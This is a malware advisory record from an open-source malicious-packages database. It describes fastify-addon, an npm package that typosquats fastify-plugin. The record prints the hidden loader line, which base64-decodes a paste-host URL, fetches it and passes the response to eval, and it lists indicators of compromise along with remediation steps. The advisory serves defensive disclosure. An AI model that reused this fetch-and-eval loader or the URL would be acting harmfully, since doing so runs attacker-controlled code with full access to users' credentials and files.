MAL-2026-5566

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/fastify-addon/MAL-2026-5566.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5566
Aliases
  • GHSA-3237-pr3f-cm2g
Published
2026-06-11T05:11:06Z
Modified
2026-07-15T07:19:24Z
Summary
Malicious code in fastify-addon (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (3cb91c825be697244f8ff069bb56e79aff3b90de7b9947019095b6d0fa2fd270)

fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to github.com/fastify/fastify-plugin (an unrelated upstream project), and the README replicates fastify-plugin's API to deceive installers. On require, lib/getPluginName.js (loaded transitively from the package main plugin.js) executes a top-level statement that fetches a base64-hidden URL (https://www.jsonkeeper.com/b/UBMJA, decoded from atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==')) and passes the response's.content field directly to eval: fetch(atob(...)).then(r=>r.json()).then(d=>{eval(d.content)}). The destination is a mutable third-party JSON paste host, so the executed payload is attacker-controlled and can change at any time. Any process that requires fastify-addon will run whatever JavaScript the attacker currently hosts at that URL, with full access to the consumer's environment, credentials, and filesystem.

Source: ghsa-malware (7cb3c09dc77f2a5e20026f8306eecfbf2587606d58425c2bb8ab798871987ca7)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005553",
            "import_time": "2026-06-11T05:41:06.417618747Z",
            "modified_time": "2026-06-11T05:11:06Z",
            "sha256": "3cb91c825be697244f8ff069bb56e79aff3b90de7b9947019095b6d0fa2fd270",
            "source": "amazon-inspector",
            "versions": [
                "5.1.0"
            ]
        },
        {
            "id": "IN-MAL-2026-005554",
            "import_time": "2026-06-11T05:41:06.511797331Z",
            "modified_time": "2026-06-11T05:11:06Z",
            "sha256": "609130354ee62acdbc0c3699d237cfc6f1dc9d803086bb6caf1d9a3d29912c55",
            "source": "amazon-inspector",
            "versions": [
                "5.1.0"
            ]
        },
        {
            "id": "GHSA-3237-pr3f-cm2g",
            "import_time": "2026-07-15T07:00:48.938776027Z",
            "modified_time": "2026-07-15T06:33:00Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "7cb3c09dc77f2a5e20026f8306eecfbf2587606d58425c2bb8ab798871987ca7",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / fastify-addon

Package

Name
fastify-addon
View open source insights on deps.dev
Purl
pkg:npm/fastify-addon

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

5.*
5.1.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "domains": [
        "www.jsonkeeper.com"
    ],
    "evidence_files": [
        {
            "path": "lib/getPluginName.js",
            "sha256": "37cf6c0d813c39c6201f8976a11e639487d53dc4691eb9214b2627ed82b59487",
            "tlsh": "c401afa86ed7bd11432f3094d5ce5084baeebd812829e551e3bc47611f83d7598b540e"
        },
        {
            "path": "package.json",
            "sha256": "1a87636c2a50b29737492e91c2cbcdd31759be8c388c53520ad3fccd32da1d70",
            "tlsh": "e9319aa1c8681cb30fd81dd164ed4182b21645974c94fc9ab3df022c9f4da3b22f978d"
        }
    ],
    "package_integrity": [
        {
            "filename": "fastify-addon-5.1.0.tgz",
            "hashes": {
                "sha1": "72d62aedb3647e20c68d7981cf5f6456a68b19ef",
                "sha512_sri": "sha512-9lewiYuaj3SdpM1LOjWum1PV8OyT9/8AMYYhoGIbrKkVIERdT2Nhi/Kk1gMPp6ZXTq8arpNmv40eLNda7Pjm5w=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/fastify-addon/MAL-2026-5566.json"